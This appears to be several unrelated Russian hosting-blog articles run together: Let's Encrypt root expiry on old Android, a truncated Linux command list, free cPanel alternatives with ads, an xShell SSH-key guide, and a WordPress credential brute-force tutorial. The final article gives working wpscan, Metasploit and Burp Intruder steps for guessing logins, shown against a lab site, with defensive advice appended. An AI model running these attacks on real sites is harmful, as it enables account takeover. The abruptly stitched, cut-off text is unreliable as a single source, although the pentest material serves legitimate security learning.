Пользователи старых версий Android

Проблема затрагивает только устройства на старых платформах, что, казалось бы, не так страшно, но, к сожалению, их до сих пор использует большое количество людей.

Стоит уточнить, что основная проблема появилась не по вине Let's Encrypt, а в медленном обновлении ПО для многих платформ.

Почему устройства на Android не обновляются?

Производители и операторы мобильной связи обычно подгоняют ОС под свои нужды перед тем, как устанавливать ее на девайсы и отдавать конечным пользователям. Когда Google выпускает новое обновление Android, производителям и операторам нужно сначала внести изменения в свои собственные версии ПО, а уже потом обновить своих клиентов. Вдобавок производители постоянно выпускают новые устройства, которые нужно продавать, а поэтому на устаревших моделях обновления ОС часто просто не работают. Вот почему в настоящее время есть миллионы устройств Android с устаревшими операционными системами.

Java

Старые версии Java также подвержены изменению корневого каталога. Любые клиенты, использующие версии Java до 1.8.0_141-b15, будут получать предупреждения или ошибки при обнаружении сертификатов Lets Encrypt.

Пока это основные платформы, где ожидаются проблемы с совместимостью, но истечению срока действия root-прав могут обнаружится и другие.

Решение проблемы: два сертификата вместо одного

IdenTrust согласился выпустить трехлетний перекрестный знак для ISRG X1. Новый перекрестный знак немного необычный, так как действует после истечения срока действия DST Root CA X3. Это решение работает, потому что Android намеренно не устанавливает даты истечения срока действия сертификатов, используемых в качестве якорей доверия. Таким образом, Lets Encrypt собирается предоставить своим подписчикам цепочку, содержащую как ISRG Root X1, так и DST Root CA X3, обеспечивая бесперебойное обслуживание всех пользователей и избегая потенциальных сбоев.

Ранее запланированное на 11 января переключение цепочки не состоялось, а переход на новую цепочку будет произведен в начале февраля. Тем не менее, во избежание возможных проблем совместимостью можно использовать следующие рекомендации:

Предложить посетителям обновить Android

Как вариант можно предупредить посетителей со старыми версиями Android о том, что нужно обновить их перед использованием вашего сайта, но:

• Пользователь существо ленивое, а просьба обновить Android может привести к тому, что посетитель уйдет на другой сайт.
• Android обычно не обновляют не потому, что не хотят, а потому что не могут. Например, планшет или телефон не поддерживает новые версии, а просить пользователя купить новый девайс явно перебор.

Предложить использовать Firefox Mobile

Firefox Mobile полагается на собственный (регулярно обновляемый) список корневых сертификатов, а не на список операционных систем. Но заставить пользователя перейти на другой браузер, пожалуй, сложнее, чем заставить его обновиться.

Прекратить поддержку более старых версий

Можно прекратить поддержку более старых версий, но это может привести к:

• Сокращению трафика
• Увеличения запросов в службу поддержки

Владельцы сайтов на ACME

Владельцы сайтов, использующие ACME, могут изменить настройки своих клиентов, чтобы продолжать использовать сертификаты Let's Encrypt с перекрестной подписью. Однако это будет работать только до сентября 2021 года. Тем не менее, это поможет выиграть время, чтобы разработать долгосрочное решение.

Наиболее практичным решением, не требующим каких-либо действий со стороны пользователя, является переключение на центр сертификации с повсеместными корнями, которым доверяют все основные платформы (включая старые системы). Сертификаты от доверенных и авторитетных органов власти используют свои собственные доверенные корни в течение многих лет и перекрестно подписывают с использованием своих старых корней для обеспечения полной совместимости.

Закон Парето применим ко многим сферам, в том числе и к работе с терминалом Linux, ведь всего нескольких десятков команд позволит легко справляться с большинством задач. Мы выбрали 40 наиболее полезных команд, использование которых способно сильно облегчить жизнь при работе с Linux. Статья не претендует на статус истины в последней инстанции или максимально подробного руководства, а очередность команд обусловлена лишь алфавитным порядком.

Джентльменский набор команд Linux Часть 1:

1. alias
2. cat
3. cd
4. chmod
5. chown
6. curl
7. df

1. alias

Команда alias создает ярлык другой команды или последовательности команд Linux.

Синтаксис команды alias:

alias имя="значение"alias имя="команда аргумент"alias имя="/путь/к/файлу"

alias позволяет:

• Быстрее вводить команды.
• Исправлять частые опечатки.
  

  Довольно распространенная ситуация, когда вместо команды ls вводится sl. В результате пользователь получает сообщение об ошибке:

  
  

Приветствую вас, уважаемые читатели и почитатели Хабра!
В этой статье я расскажу вам о 7 популярных альтернативах cPanel. Вы узнаете:
Почему бесплатные панели управления web-сервером нередко оказываются лучше, чем платные аналоги
Какие возможности готовы предложить Вам бесплатные панели прямо здесь и сейчас
Какие из этих программ смогут совершить настоящий прорыв уже в ближайшем будущем.

Эту статью я начал готовить неделю назад. Вчера и позавчера она даже мне снилась. Я часто вижу вещие сны, и именно потому вы сейчас читаете эти строки (вот сказал сейчас что-то умное, но до конца не понял, что именно).
Говоря о cPanel, стоит отметить, что ее преимущества всё ещё превышают недостатки. К последним относится её платная основа. Как говорится, не заплатишь не попользуешься. Смотрим тарифы от 15 баксов в месяц! Хм. Многие даже за сервер в месяц платят меньше.



А ведь за 11.88 в год вполне реально купить VPS сервера с отличным конфигом 1 Core / 1536MB / 10GB SSD. В AlexHost.com знают об этом не понаслышке. Сервер + альтернативная панель управления и вы получите отличную комбинацию, которая мало чем будет уступать более дорогостоящей cPanel.
Мы не знаем, что предлагают другие. Но точно знаем, что можем предложить мы:



По своему опыту могу сказать всегда старайтесь во всем разобраться сами. Наличие знаний во многих вопросах поможет всегда делать верный выбор. Взять хотя бы выбор панели управления. Не зная о них ничего, вы сразу купите cPanel, даже не рассмотрев альтернативы.
Продолжайте читать и подобная участь вам не грозит. Ведь какую бы из 7 представленных панелей вы не выбрали, вам не придется сожалеть о своем решении.
И еще одна приятная новость вместе с подробным обзором, мы дадим вам ссылки на учебные пособия, которые помогут вам начать управлять серверами Linux без лишних затрат.

Как мы выбрали наши альтернативы cPanel:

Выбирая панели, мы брали во внимание 2 фактора:
1. Бесплатность
2. Наличие многофункциональной бесплатной версии

Я абсолютно убежден все панели, о которых я сейчас вам расскажу, просто обязаны быть для вас бесплатными. Платные версии пусть выбирают крупные компании.
Еще одна приятная новость большинство альтернатив cPanel имеют открытый исходный код. Вы можете просматривать и изучать базовый код. Вы даже можете вносить нужные изменения. Разумеется, при наличии у вас необходимых знаний.
Мир FOSS это невероятные возможности для каждого! Опытные и профессиональные разработчики здесь создают шедевры, невероятно функциональные альтернативы известным инструментам. И они совершенно безвозмездно (то есть даром) могут обеспечить доступ к своим разработкам, делая сообщество лучше.

ТОП-7 бесплатных альтернатив cPanel



Webmin это сочетание функциональности и удобства. Я считаю эту панель одной из лучших бесплатных альтернатив cPanel.
Знаете, почему? Сейчас я вам расскажу продолжайте читать, это интересно.

Webmin сочетает в себе все возможности cPanel, которые вы получаете бесплатно. Вы сможете:
создавать резервные копии файлов конфигурации благодаря использованию встроенных модулей
устанавливать и настраивать веб-серверы Apache
отслеживать пропускную способность
быстро и просто настраивать fail2ban
устанавливать брандмауэр iptables
администрировать пользователей
настраивать задания cron
защищать соединения SSH

Также вы получите доступ к другим функциям cPanel.
Возможно, внешний вид этой панели придется по душе не всем пользователям, однако этот минус можно исправить, совместив Webmin с Authentic Theme. Благодаря обновлению тем работать с Webmin стало еще приятнее. Когда я использую эту панель, мои глаза практически не напрягаются.



Какую операционную систему вы используете Ubuntu, Debian или CentOS? Вне зависимости от вашего ответа, разработчики Webmin предложат вам оптимальный пакет и помогут пройти процедуру установки. Если вы хотите углубиться в подробности, исходный код Webmin доступен на GitHub.



CentOS Web Panel это функциональная панель для тех, кто использует CentOS на своем виртуальном частном сервере (VPS), но при этом не считает Webmin лучшим выбором.
Все это о вас? Тогда обязательно присмотритесь к CentOS Web Panel. Я считаю ее вполне удачной альтернативой cPanel.

CentOS Web Panel можно использовать в следующих целях:

для развертывания и администрирования веб-серверов Apache и брандмауэров.
для развертывания баз данных MySQL, обратного прокси-сервера Nginx, электронной почты с самостоятельным размещением.
с целью управления пользователями.
развертывание резервных копий.
отслеживание состояния своей системы через монитор служб.
Одной из уникальных функций CentOS Web Panel является ее автофиксатор. Он сканирует важные файлы конфигурации и пытается автоматически исправить их в случае ошибки.

Для установки вам потребуется:
обновленная установка CentOS
работающий стек LAMP
не менее 1 ГБ оперативной памяти

К сожалению, CentOS Web Panel не обладает полностью открытым исходным кодом, И все же, она по праву считается многофункциональной альтернативой cPanel, которую можно использовать абсолютно бесплатно.

ПРИМЕЧАНИЕ. Веб-панель CentOS официально поддерживается только в CentOS. Если вы используете Debian или Ubuntu, рекомендую поискать другие варианты. Благо, с выбором проблем не возникнет.



Ajenti это комплексная панель управления.
Разработчики позиционируют ее как инструмент профессиональных и опытных администраторов, предоставляя быстрый и безопасный способ управления удаленным Linux-модулем.
Совершенно бесплатно, в любое время дня и ночи вы получаете доступ к веб-терминалу, текстовому редактору, файловому менеджеру и прочим инструментам.

Вы получите впечатляющие возможности:
отзывчивый удаленный терминал
установка межсетевых экранов и пакетов
управление пользователями
отслеживание используемых ресурсов
прочие возможности

Ajenti также предоставляет вам несколько плагинов. Имеется возможность добавлять еще больше плагинов или развиваться с Python.
Разработчики говорят:

Панель Ajenti не говорит вам, как выполнять свою работу, оставляя вашу систему как можно более неповрежденной.

Ajenti подходящая бесплатная панель управления для тех, у кого уже есть несколько служб, работающих на их сервере. Другие панели просто стирают существующие конфигурации. Ajenti, напротив, стремится подобрать вашу текущую конфигурацию, не меняя ее.
Ajenti также позиционируется как заботливая панель.
Хотите знать, почему? Отвечу ни одно из вносимых изменений не приводит к перезаписи файлов, комментариев или параметров.
Это проект с открытым исходным кодом. Найти код вы сможете где? Правильно на GitHub.



YunoHost позиционирует себя как серверная операционная система.
Цель проекта Сделать хостинг доступным для всех. Хорошая цель, но подтверждается ли она реальными действиями? Так ли хороша эта панель, как о ней говорят разработчики.
Начнем с того, что если бы эта панель была неважной, ее не было бы в данном рейтинге. Есть ли в ней какие-то продвинутые функции? Тоже нет. Она больше подходит для новичков, чем для профессионалов.
Основная задача этой панели заключается в том, чтобы установить различные приложения, размещаемые самостоятельно.
YunoHost может предложить вам несколько официально поддерживаемых приложений для установки различных программ, таких как Baikal, Nextcloud, WordPress, Zerobin и другие. А вот об обратных прокси-серверах и управлении брандмауэром говорить не приходится.
Все же YunoHost это хороший выбор начинающих пользователей, желающих быстро начать работу с базовыми приложениями.
Вы можете управлять своим VPS через веб-интерфейс YunoHost или командную строку. YunoHost официально поддерживает Debian 8 и кодируется преимущественно на Python под лицензией GPL с открытым исходным кодом. Код доступен на GitHub.



Froxlor это панель управления, которая считается легкой альтернативой Webmin.

Разработанная опытными администраторами серверов, эта панель с открытым исходным кодом (GPL) упрощает управление веб сервером.
Вот так красиво написано на официальном сайте. Если говорить о функционале, вам станут доступны:
установка Let Encrypt
настройка PHP
управление MySQL
прочие возможности

У Froxlor есть доступные пакеты Debian и .tar.gz для производственных установок. Официально поддерживается только Debian. Я полагаю, что, при необходимости, можно установить Froxlor и на Ubuntu, но лично я не пробовал этого делать.
Froxlor распространяется по лицензии GPL 2.0 с исходным кодом на GitHub.



ISPConfig давний конкурент cPanel. Бесплатный сервис с хорошими возможностями, который я считаю очень перспективным.
Разработчики заявляют о 40000 загрузках в месяц. Внушительные показатели.



Пользователи заявляют о том, что ISPConfig это надежная бесплатная альтернатива cPanel, получившая широкую поддержку среди разработчиков с открытым исходным кодом.
Вы можете использовать ISPConfig для:
настройки веб-серверов Apache2 / nginx
настройки почтовых серверов, DNS, зеркалирования
прочих возможностей, доступных при использовании Webmin или Ajenti.

Хочу выделить важную особенность ISPConfig возможность управлять несколькими серверами с одной панели управления.
Допустим, вы будете работать с несколькими серверами. Вы хотите работать единообразно на каждом сервере, без необходимости устанавливать одну и ту же панель управления несколько раз. ISPConfig поможет вам в этом.

Вы можете загрузить файл .targ.gz самостоятельно или следовать учебному пособию Идеальный сервер, чтобы настроить Debian 8, Apache2, BIND, Dovecot и ISPConfig 3.

ISPConfig работает с Debian, Ubuntu и CentOS. Это обеспечивает панели важную опцию гибкость. И неважно, какие приложения вы при этом используете.
Исходный код доступен через GitLab, организации под лицензией BSD с открытым исходным кодом.



VestaCP это красиво разработанное ядро панели управления, написанное на Bash. Пуристы Linux точно оценят его по достоинству.

Встроенные функции включают в себя:
развертывание iptables / fail2ban для обеспечения безопасности
развертывание Nginx и / или Apache для веб-серверов
различные почтовые решения
решения для мониторинга, резервные копии и многое другое

С Vesta вы можете работать через командную строку, а не через интерфейс. А это также пусть маленький, но плюсик.
Вы можете использовать VestaCP с CentOS, Debian и Ubuntu, и он лицензируется с GNU.
Исходный код доступен на GitHub.
Примечание. Начиная с лета 2018 года, появились слухи об увеличении объема автоматических атак на серверы VestaCP на основе неизвестных уязвимостей. Распространенные решения включают защиту ваших SSH-соединений с помощью использования и применения ключей и полное отключение пользователя root.
Исключать VestaCP из списка по этой причине, разумеется, не стоит. Однако вам, как потенциальному пользователю, очень важно об этом знать.



Выводы

Итак, уважаемые читатели Habr, вы могли убедиться не cPanel единым. Альтернативы есть, причем бесплатные и довольно неплохие.
Webmin функциональная и удобная панель во всех отношениях
CentOS Web Panel подойдет для тех, кто работает на своем виртуальном частном сервере (VPS). Наличие автофиксатора
Ajenti круглосуточный доступ к веб-терминалу, текстовому редактору, файловому менеджеру и огромному количеству других инструментов
YunoHost подходит для новичков, желающих быстро начать работу с базовыми приложениями
Froxlor в значительной степени упрощает управление платформой хостинга и дает доступ ко многим возможностям совершенно бесплатно
ISPConfig панель, которая в скором будущем может стать настоящим прорывом. 40000 загрузок в месяц.
VestaCP предоставляет решения для мониторинга, резервные копии, почтовые решения. Достойная бесплатная альтернатива cPanel
Какую бы бесплатную альтернативу вы не выбрали, у каждой из них будут свои преимущества. И все же, важно понимать, что бесплатные панели никогда не заменят платную cPanel на все 100%. Я рассказал все, что знал, а дальше выбор за вами.

Немного рекламы
Мощные сервера i7-9700 DDR4/16 GB RAM/ 1 TB HDD всего за 70 euro/месяц ТУТ

Всё ещё пользуетесь Putty + WinSCP/FileZilla?
Тогда рекомендуем обратить внимание на такое ПО как xShell

Он поддерживает не только SSH протокол, но и другие. Например, telnet или rlogin
Одновременно можно подключаться к нескольким серверам (механизм вкладок).
Нет необходимости каждый раз вводить данные, их можно запомнить.
Начиная с 6й версии появился русский интерфейс, понимает все русские кодировки, в том числе и UTF-8.
Поддерживает как подключение по паролю, так и подключение по ключу.

Более того, теперь для управления файлами по ftp/sftp не нужно отдельно запускать WinSCP или FileZilla.
Разработчики xShell учли ваши нужды и сделали также xFtp, который поддерживает обычный FTP и SFTP.
А самое главное то, что xFtp можно запустить прямо из активной ssh сессии и он сразу подключится к этому
конкретному серверу в режиме передачи файлов (используя sFtp протокол). Но вы можете и
самостоятельно открыть xFtp и подключится к любому из серверов.

Также в комплекте поставляется генератор публичных/приватных ключей и менеджер по их управлению.



Полностью бесплатный для личного некомерческого использования или в рамках обучения.

www.netsarang.com/ru/free-for-home-school

Заполнить поля, обязательно email, к которому у вас есть доступ, туда будет выслана ссылка для скачивания.



Скачиваем, устанавливаем оба приложения. Запускаем.

После запуска видим окошко со списком сохранённых сессий, пока оно пустое. Нажимаем новая



Заполняем данные для подключение, порт/хост/ип адрес, а также желаемое имя сессии.
Далее переходим в аутентиикация и заполняем логин с паролем



Далее Ок и подключаемся к серверу.

Для xFTP всё тоже самое. Единственное что необходимо выбрать протокол, по умолчанию будет sFTP, можно выбрать обычный FTP.

Самое удобоное то выделенный текст автоматически копируется в буфер обмена
(Инструменты опции клавиатура и мышь копировать отмеченный текст в буфер обмена)



Подключатся можно не только по паролю, но и используя ключ, что куда безопаснее и удобнее.

Необходимо сгенерировать наш ключ, если быть точнее пару публичный/приватный ключи.

Запускаем Xagent (устанавливается в комплекте)

Видим список ключей, пока он пуст. Нажимаем Manage Keys, затем Generate
Type RSA
Length 4096 bits минимум.



Нажием Next, ждём. Затем ещё раз Next

Называем ключ как нам удобно, по желанию можно защитить ключ установив дополнительный пароль (он будет запрашивается при подключении или импорте ключа на другом устройстве)



Далее Next и видим собственно наш ПУБЛИЧНЙ ключ. Его используем для подключения к серверу. Один ключ можно использовать на многих серверах, что удобно.

На этом генерация закончена, но ещё не всё.
Необходимо добавить ключ на сервере
Подключаемя к серверу по ssh и переходим в /root/.ssh

root@alexhost# cd /root/.ssh

на что в 90% случаев получаем ошибку -bash: cd: /root/.ssh: No such file or directory
это нормально, данная папка отсутствует если на сервере ранее не генерировались ключи.

Необходимо подобным образом сгенерировать и ключ самого сервера.

root@alexhost# ssh-keygen -t rsa -b 4096

Нам предложит путь куда сохранить файл ключа
Соглашаемся на умолчание /root/.ssh/id_rsa нажатием Enter
Далее пароль на файл ключа и подтверждение, либо оставить пустым и Enter.

опять заходить в /root/.ssh

root@alexhost# cd /root/.ssh

Необходимо создать файл authorized_keys

root@alexhost# nano authorized_keys

Вставляем в него наш ключ в текстовом виде полученный выше



Сохраняем, выходим.
Ctrl + O
Ctrl + X

Переходим в xShell, вызываем список сохранённых сессий (Alt+O)



находим нашу сессию, нажимаем свойства, переходим на аутентификация

в поле метод выбираем public key
в поле пользовательский ключ выбираем наш созданный ранее ключ, сохраняем подключаемся.



Клиент использует ПРИВАТНЙ ключ, на сервере прописывается ПУБЛИЧНЙ

Приватный ключ можно перенести на другой ваш пк, если вы хотите с него подключатся.

В Xagent manage keys, выбираем ключ Export, сохраняем.
На другом пк Xagent manage keys Import, выбираем, добавляем. Если ключ был защищён паролем, пароль будет запрошен в этот момент.

Ключ можно прописать любому пользователю, не только root.
Путь стандартный /домашняя_папка_пользователя/.ssh/authorized_keys
Для юзера alexhost, например, по умолчанию это будет /home/alexhost/.ssh/authorized_keys

В этой статье вы узнаете о том, как взламывать учетные данные сайтов на WordPress с помощью различных брутфорс атак.

Содержание:

• Предварительные требования
• WPscan
• Metasploit
• Люкс Burp
• Как обезопасить сайт от брутфорса?

Предварительные требования

• Сайт на WordPress. Здесь мы будем использовать собственную лабораторию для пентеста, о созданию которой был посвящен наш предыдущий пост.
• Kali Linux (WPscan). Более подробно о WPScan и его возможностях мы уже писали, а вместо Kali Linux можно использовать любую другую из ОС для белого хакинга.
• Burp Suite (Intruder). Более подробно о данном инструменте можно узнать здесь.

WPscan

WPscan это фреймворк, который используется в качестве сканера уязвимостей методом черного ящика. WPscan предустановлен в большинстве дистрибутивов Linux, ориентированных на безопасность, а также доступен в виде подключаемого модуля.

Здесь мы будем использовать WordPress, размещенный на локальном хосте.

Во время перебора можно использовать:

• Собственные общие списки логинов и паролей
• Базы логинов и паролей, которые уже есть в Kali Linux

В данном случая был использован файл паролей rockyou.txt, который предоставляется со стандартной Kali Linux и содержит 14 341 564 уникальных пароля.

wpscan --url http://192.168.1.100/wordpress/ -U users.txt -P /usr/share/wordlists/rockyou.txt

• URL это параметр URL-адреса, за которым следует URL-адрес веб-сайта WordPress для сканирования.
• -U будет перебирать только указанные имена пользователей, в нашем случае это users.txt
• -P перебор паролей из предоставленного списка rockyou.txt

Продолжительность сканирования во многом зависит от размера файла имен и паролей. В нашем случае мы сопоставляем большое количество имен с еще большим количеством паролей, что может сказаться на производительности сайта.

Атака прошла успешно и на экране видим совпадение логина admin и пароля flower.

Metasploit

Metasploit также идет предустановленным в Kali Linux. Первым делом нужно попасть в консоль Metasploit, а затем запустить модуль WordPress. Этот модуль msf будет запускать проверку логинов и паролей. Сначала будут проверены имена пользователей, а затем с ними будут сопоставлены пароли.

msf > use auxiliary/scanner/http/wordpress_login_enummsf auxiliary(wordpress_login_enum) > set rhosts 192.168.1.100msf auxiliary(wordpress_login_enum) > set targeturi /wordpressmsf auxiliary(wordpress_login_enum) > set user_file user.txtmsf auxiliary(wordpress_login_enum) > set pass_file pass.txtmsf auxiliary(wordpress_login_enum) > exploit

Как и в предыдущем случае атака прошла успешно, в результате которой были полчены:

• Логин: admin
• Пароль: flower

Burp Suite

Можно опять использовать предустановленную в Kali версию или скачать Burp Suite Community Edition. Далее запускаем Burp Suite и открываем страницу входа в WordPress. Затем включаем вкладку перехвата в Burp Proxy. Далее вводим любое имя пользователя и пароль по вашему выбору для входа на сайт WordPress. Это перехватит ответ текущего запроса.

Посмотрите на изображение ниже и обратите внимание на последнюю строку перехваченного сообщения, где указаны учетные данные для входа как raj: raj, которые были использованы для входа в систему. Теперь нужно отправить эти данные в Intruder, что можно сделать с помощью сочетания клавиш ctrl + I или выбрав опцию Send to Intrude в контекстном меню.

Теперь открываем вкладку Intruder и видим запрос базового шаблона, который был сюда отправлен. Выбираем Positions, где по умолчанию активно несколько позиций, которые помечены символами . Все, что находится между двумя символами , заменяется полезной нагрузкой. Но сейчас все они нам не нужны, поэтому нажмите кнопку очистки в правом нижнем углу окна редактора.

Выбираем позиции, как показано на скриншоте, а также нажимаем кнопку add справа. Это настроит выбранные позиции как точки вставки полезной нагрузки. Теперь выбираем тип атаки.
Поскольку у нас есть 2 позиции полезной нагрузки, то выберем cluster bomb. Этот метод брутфорса очень эффективен в нашем случае. Он помещает первую полезную нагрузку в первую позицию, а вторую полезную нагрузку во вторую позицию. Но когда он проходит через наборы полезных данных, то пробует все комбинации. Например, когда есть 1000 логинов и 1000 паролей, тогда будет выполнено 1 000 000 запросов.

Теперь нажимаем кнопку start attack.

На вкладке payloads в раскрывающемся списке можно увидеть числа 1 и 2. Выберите 1 для первой позиции полезной нагрузки и установите для него простой список. В простой список можно вручную добавлять элементы с помощью кнопки add , а также вставлять список с помощью буфера обмена или загрузки из файла.

Аналогично ставим цифру 2 для другой позиции и выбираем для нее Runtime file, что полезно при работе с большими списками. Указываем путь к любому файлу-словарю, который содержит только список паролей. Нажимаем start attack.

Обратив внимание на статус и длину полезных данных, где видно, что учетные данные admin и flower имеют статус 302 и длину 1203, что отличается от всех других комбинаций. Это значит, что логин: admin и пароль flower именно то, что мы хотели получить.

Как избежать брутфорса?

Конечно, этих атак можно избежать, используя следующие меры предосторожности:

Длина пароля

Оптимальная длина пароля должна составлять 8-16 символов. Важно избегать использования наиболее распространенных паролей и часто их менять.

Сложность пароля

Надежный пароль должен состоять из:

• Символов верхнего регистра (A)
• Символов нижнего регистра (a)
• Цифр
• Специальных символов

Надежный пароль не гарантирует 100%, но по крайней мере позволяет значительно увеличить время взлома.

Ограничение попыток входа в систему

Ограничение попыток входа позволяет сильно усложнить процесс брутфорса.

Например, после трех неудачных попыток входа в систему данный IP-адрес должен быть заблокирован на какое-то время, чтобы пресечь дальнейшие попытки входа в систему.

Двухфакторная аутентификация

Следующий способ защиты от брутфорса двухфакторная аутентификация или 2FA. Обычно в качестве второго подтверждения используют телефон или почту.

Captcha

Установить капчу на WordPress довольно просто, например, с помощью многочисленных плагинов. Капча поможет предотвратить ботами выполнение автоматических скриптов для входа в вашу учетную запись.

Плагин брандмауэра WordPress

Даже неудачные брутфорс атаки могут замедлить работу сайта или полностью вывести сервер из строя. Вот почему так важно их заблокировать, для чего и понадобиться брандмауэр, который отфильтровывает плохой трафик и блокирует ему доступ к вашему сайту.

Подключить СDN сервис

CDN (Content Delivery Network) сеть доставки и дистрибуции контента, более подробно о которой можно узнать здесь. Для нас главное, что CDN обеспечивают надежную защиту от брутфорса.

Топ 6 CDN c бесплатными решениями для WordPress:

• Cloudflare
• Jetpack
• Swarmify
• Amazon CloudFront (1 год бесплатного доступа)
• Incapsula
• JS Deliver

Установить и настроить бэкап плагин

На крайний случай будет полезно установить и настроить бэкап плагин. По крайней мере в случае удачной атаки будет возможность восстановить данные. Есть несколько отличных плагинов для WordPress, которые позволяют делать резервные копии автоматически.

Отключение просмотра каталогов и автоматических обновлений

Еще один способ снизить риск брутфорс атаки для сайта на WordPress.